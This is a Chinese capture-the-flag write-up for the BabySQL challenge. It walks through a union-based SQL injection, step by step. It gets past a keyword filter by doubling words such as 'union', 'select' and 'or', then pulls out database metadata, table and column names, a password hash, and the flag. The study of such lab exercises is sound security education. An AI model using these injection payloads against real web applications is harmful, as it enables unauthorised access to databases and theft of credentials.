• 双写绕过 [极客大挑战 2019]BabySQL 1


    打开题目

    随便输入账号密码

    根据报错信息可知这是单引号的字符型注入

    那我们试试万能密码

    1' or '1'='1  页面报错

    1  or '1'='1 页面报错

    而且根据报错内容显示是没有我们注入上去的or的

    那我们就试试

    1' order by 3 #

    页面报错,根据报错显示页面过滤掉了or和by

    那我们试试

    -1' union select 1,2,3,4 #

    根据报错显示页面过滤了union和select

    那我们就可以尝试双写绕过

    1' ununionion seselectlect 1 #

    报错显示有不同的列名

    那就一个一个试吧

    1' ununionion seselectlect 1,2,3#

    页面正常

    并且这里显示报错显示位为2,3

    1' ununionion seselectlect 1,2,3,4#

    页面报错

    说明列名字段数为3

    爆用户名和数据库名

    -1’ ununionion seselectlect 1,user(),database()  #

    这样我们就可以知道数据库用户名为root@localhost,数据库名为geek

    -1' ununionion seselectlect 1,version(),@@version_compile_os #

    这样我们就知道操作系统version_compile_os为Linux,数据库版本为10.3.18-MariaDB

    总结一下就是

    操作系统version_compile_os:Linux

    数据库版本version():  10.3.18-MariaDB

    数据库用户名user():  root@localhost

    数据库名database():  geek

    接下来我们查询geek数据库下的表名信息

    -1' ununionion seselectlect 1,table_name,3 from information_schema.tables where table_shcema='geek' #

    我们发现informmation,where都被过滤掉了

    那我们对其进行双写

    -1' uunionnion seselectlect 1,group_concat(table_name),3 frfromom inforformationmation_schema.tables whwhereere table_schema='geek' #

    忘记页面是过滤or了

    重新换个姿势

    -1' ununionion seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema='geek' #

    说明表名有b4bsql,geekuser

    爆破列名

    -1' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='geekuser' #

    爆破数据

    -1' uunionnion seselectlect 1,2,password frfromom geekuser  #

    又忘记过滤or了

    -1' uunionnion seselectlect 1,2,group_concat(passwoorrd) frfromom geekuser  #

    这下爆出了password为2ac772d9987993a29b85958839d4e468

    用户名为admin

    id为1

    尝试登录了一下用户名和密码,发现下面没有flag

    那我们爆破b4bsql表下的列名

    -1' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' #

    发现下面也有三个列名

    -1' uunionnion sselectelect 1,2,group_concat(passwoorrd)ffromrom b4bsql #

    查看页面源代码得到flag

    知识点:

    常见的sql注入绕过方式:SQL注入绕过入门总结篇 - FreeBuf网络安全行业门户

    information_schema.schemata 获取所有数据库信息

    表包含以下列:

    1. catalog_name:目录名称
    2. schema_name: 模式(数据库)的名称。
    3. default_character_set_name: 数据库编码。
    4. default_collation_name: 数据库排序规则

  • 相关阅读:
    30 Python的matplotlib模块
    基于 Node.js 的文件管理系统(附源码)
    Java学习路线(13)——Collection集合类:List集合与Set集合
    C++-openssl-aes-加密解密
    软件企业需要每年年审吗?
    java Internal error in the mapping processor java.lang.NullPointerException解决方案
    〔024〕Stable Diffusion 之 模型训练 篇
    CSS基础详细解析(附带综合小练习)
    天池-Python训练营练习01
    北京银行助力首批消费类公募REITs成功上市 担任嘉实物美消费REIT托监管行
  • 原文地址:https://blog.csdn.net/m0_75178803/article/details/134406238